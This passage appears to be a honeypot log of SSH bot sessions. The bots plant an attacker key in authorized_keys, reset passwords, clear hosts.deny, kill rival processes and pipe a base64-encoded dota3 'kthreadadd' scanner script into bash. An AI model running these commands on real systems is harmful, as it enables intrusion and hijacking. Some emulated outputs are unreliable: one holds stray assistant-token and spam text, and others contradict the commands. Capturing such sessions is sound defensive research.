7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T13:50:12.526763+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T13:50:12.528045+00:00","kind":"output","latency_ms":null,"data":"caleb"},{"seq":29,"at":"2026-08-23T13:50:12.905535+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T13:50:13.590700+00:00","kind":"output","latency_ms":686,"data":"Model name: AMD EPYC 7713 64-Core Processor\n"},{"seq":31,"at":"2026-08-23T13:50:13.969356+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T13:50:14.509742+00:00","kind":"output","latency_ms":539,"data":"24G"},{"seq":33,"at":"2026-08-23T13:50:15.905558+00:00","kind":"input","latency_ms":null,"data":"echo \"caleb caleb\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T13:50:16.284362+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T13:50:16.925133+00:00","kind":"output","latency_ms":640,"data":""},{"seq":36,"at":"2026-08-23T13:50:17.601503+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T13:50:18.057274+00:00","kind":"output","latency_ms":455,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-23T13:50:18.438110+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:50:18.935447+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T13:50:19.314393+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:50:19.690613+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T13:50:20.152716+00:00","kind":"output","latency_ms":462,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-23T13:50:20.536584+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:50:20.994162+00:00","kind":"output","latency_ms":456,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T13:50:21.373906+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T13:50:21.818168+00:00","kind":"output","latency_ms":442,"data":""},{"seq":47,"at":"2026-08-23T13:50:29.672470+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T13:50:29.673048+00:00","kind":"output","latency_ms":null,"data":"caleb"}],"credentials":[{"username":"caleb","password":"caleb","method":"password","accepted":true,"tier":"other"}]} {"id":"bdaf581a-cda9-473b-b316-93f54c67069b","name":"foggy-cunning-pipit","protocol":"ssh","channel_kind":"exec","src_ip":"41.63.62.103","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":917,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:46:37.478805+00:00","ended_at":"2026-08-23T13:46:37.768414+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3538,"events":[{"seq":1,"at":"2026-08-23T13:45:50.236533+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:45:50.752198+00:00","kind":"output","latency_ms":515,"data":""},{"seq":3,"at":"2026-08-23T13:45:51.153156+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-23T13:45:58.682396+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-23T13:45:58.684126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-23T13:45:59.598584+00:00","kind":"input","latency_ms":null,"data":"echo \"root:f58S3b4piUHA\"|chpasswd|bash"},{"seq":7,"at":"2026-08-23T13:46:00.026195+00:00","kind":"output","latency_ms":427,"data":""},{"seq":8,"at":"2026-08-23T13:46:00.514328+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-23T13:46:01.430090+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-23T13:46:01.430487+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-23T13:46:02.356629+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-23T13:46:03.293182+00:00","kind":"output","latency_ms":935,"data":"15888 9874 6014 194 0 3870"},{"seq":13,"at":"2026-08-23T13:46:04.213321+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-23T13:46:04.747125+00:00","kind":"output","latency_ms":534,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-23T13:46:05.664654+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T13:46:05.666089+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":17,"at":"2026-08-23T13:46:06.583149+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-23T13:46:06.584050+00:00","kind":"output","latency_ms":null,"data":" 13:46:06 up 3 days, 10:36, 0 user, load average: 0.22, 0.27, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-23T13:46:07.501419+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-23T13:46:07.501883+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-23T13:46:08.418518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-23T13:46:08.419115+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-23T13:46:09.337183+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-23T13:46:09.338094+00:00","kind":"output","latency_ms":null,"data":"top - 13:46:09 up 3 days, 10:36, 0 user, load average: 0.22, 0.27, 0.16\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-23T13:46:10.248775+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-23T13:46:10.250630+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-23T13:46:11.166120+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-23T13:46:11.168092+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-23T13:46:12.082691+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-23T13:46:12.084280+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-23T13:46:13.001613+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-23T13:46:13.517118+00:00","kind":"output","latency_ms":515,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":33,"at":"2026-08-23T13:46:14.434482+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-23T13:46:14.921611+00:00","kind":"output","latency_ms":487,"data":"24G"},{"seq":35,"at":"2026-08-23T13:46:17.561781+00:00","kind":"input","latency_ms":null,"data":"echo \"root Abc123456789*\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-23T13:46:18.480484+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-23T13:46:18.865146+00:00","kind":"output","latency_ms":383,"data":""},{"seq":38,"at":"2026-08-23T13:46:21.809442+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:46:22.281149+00:00","kind":"output","latency_ms":470,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-23T13:46:23.207519+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:46:23.825193+00:00","kind":"output","latency_ms":616,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-23T13:46:24.753780+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T13:46:25.676252+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:46:26.160119+00:00","kind":"output","latency_ms":482,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-23T13:46:27.078679+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-23T13:46:27.590156+00:00","kind":"output","latency_ms":510,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-23T13:46:28.508842+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-23T13:46:37.482203+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T13:46:37.483707+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Abc123456789*","method":"password","accepted":true,"tier":"other"}]} {"id":"291af6ba-5824-42c1-977c-866685fc9534","name":"frank-foggy-koala","protocol":"ssh","channel_kind":"exec","src_ip":"201.71.192.108","src_port":39330,"username":"developer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":477,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:35:55.531860+00:00","ended_at":"2026-08-23T13:35:55.678004+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3419,"events":[{"seq":1,"at":"2026-08-23T13:35:22.808936+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:35:23.285072+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T13:35:27.800862+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T13:35:27.802372+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T13:35:28.278432+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\nP8TfqLNjaKrk\\nP8TfqLNjaKrk\"|passwd|bash"},{"seq":6,"at":"2026-08-23T13:35:28.753589+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\nP8TfqLNjaKrk\\nP8TfqLNjaKrk\\n\"|passwd"},{"seq":7,"at":"2026-08-23T13:35:29.228357+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T13:35:29.230963+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T13:35:29.708072+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T13:35:30.749175+00:00","kind":"output","latency_ms":1039,"data":" total used free shared buff/cache available\nMem: 15888 1194 14015 18 678 14545"},{"seq":11,"at":"2026-08-23T13:35:31.223387+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T13:35:31.987657+00:00","kind":"output","latency_ms":764,"data":"-rwxr-xr-x 1 root root 148K Jan 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T13:35:32.465031+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T13:35:32.465693+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T13:35:32.945078+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T13:35:32.945753+00:00","kind":"output","latency_ms":null,"data":" 13:35:32 up 3 days, 10:25, 0 user, load average: 0.02, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T13:35:33.422525+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T13:35:33.423232+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T13:35:33.899510+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T13:35:33.901286+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T13:35:34.377111+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T13:35:34.377909+00:00","kind":"output","latency_ms":null,"data":"top - 13:35:34 up 3 days, 10:25, 0 user, load average: 0.02, 0.03, 0.03\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T13:35:34.855244+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T13:35:34.855788+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T13:35:35.331078+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T13:35:35.331726+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T13:35:35.809425+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T13:35:35.810132+00:00","kind":"output","latency_ms":null,"data":"developer"},{"seq":29,"at":"2026-08-23T13:35:36.283326+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T13:35:36.802149+00:00","kind":"output","latency_ms":516,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T13:35:37.279107+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T13:35:37.959042+00:00","kind":"output","latency_ms":680,"data":"24G"},{"seq":33,"at":"2026-08-23T13:35:39.438769+00:00","kind":"input","latency_ms":null,"data":"echo \"developer 12345\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T13:35:39.911876+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T13:35:40.399389+00:00","kind":"output","latency_ms":487,"data":""},{"seq":36,"at":"2026-08-23T13:35:41.588050+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T13:35:42.896167+00:00","kind":"output","latency_ms":1306,"data":"-7182\n-end of analysis to=assistant to=final \u5929\u5929\u4e2d\u5f69\u7968\u4f1a"},{"seq":38,"at":"2026-08-23T13:35:43.370569+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T13:35:43.801197+00:00","kind":"output","latency_ms":428,"data":"-7182"},{"seq":40,"at":"2026-08-23T13:35:44.277073+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T13:35:44.753111+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T13:35:45.302529+00:00","kind":"output","latency_ms":550,"data":"-7182"},{"seq":43,"at":"2026-08-23T13:35:45.778276+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T13:35:46.248807+00:00","kind":"output","latency_ms":468,"data":"-7182"},{"seq":45,"at":"2026-08-23T13:35:46.730276+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T13:35:47.160158+00:00","kind":"output","latency_ms":430,"data":""},{"seq":47,"at":"2026-08-23T13:35:55.533482+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T13:35:55.535301+00:00","kind":"output","latency_ms":null,"data":"developer"}],"credentials":[{"username":"developer","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"171f38d1-ac7a-400e-8637-f48b63021680","name":"feral-western-zebu","protocol":"ssh","channel_kind":"exec","src_ip":"5.188.16.97","src_port":46568,"username":"samr","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":382,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T13:34:48.717073+00:00","ended_at":"2026-08-23T13:34:48.827999+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3686,"events":[{"seq":1,"at":"2026-08-23T13:34:19.567119+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T13:34:19.981922+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T13:34:24.648328+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T13:34:24.648762+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T13:34:25.019280+00:00","kind":"input","latency_ms":null,"data":"echo -e \"samr\\nApiLSlPWiPNY\\nApiLSlPWiPNY\"|passwd|bash"},{"seq":6,"at":"2026-08-23T13:34:25.393566+00:00","kind":"input","latency_ms":null,"data":"echo \"samr\\nApiLSlPWiPNY\\nApiLSlPWiPNY\\n\"|passwd"},{"seq":7,"at":"2026-08-23T13:34:25.785154+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T13:34:25.787070+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T13:34:26.163558+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T13:34:26.891472+00:00","kind":"output","latency_ms":728,"data":"15888 4120 8660 73 304 2735"},{"seq":11,"at":"2026-08-23T13:34:27.294386+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T13:34:28.152139+00:00","kind":"output","latency_ms":857,"data":"-rwxr-xr-x 1 root root 133K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T13:34:28.535056+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T13:34:28.535600+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T13:34:28.915518+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T13:34:28.917312+00:00","kind":"output","latency_ms":null,"data":" 13:34:28 up 3 days, 10:24, 0 user, load average: 0.2, 0.22, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T13:34:29.293075+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T13:34:29.293610+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T13:34:29.680709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T13:34:29.682068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T13:34:30.080578+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T13:34:30.082732+00:00","kind":"output","latency_ms":null,"data":"top - 13:34:30 up 3 days, 10:24, 0 user, load average: 0.2, 0.22, 0.13\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 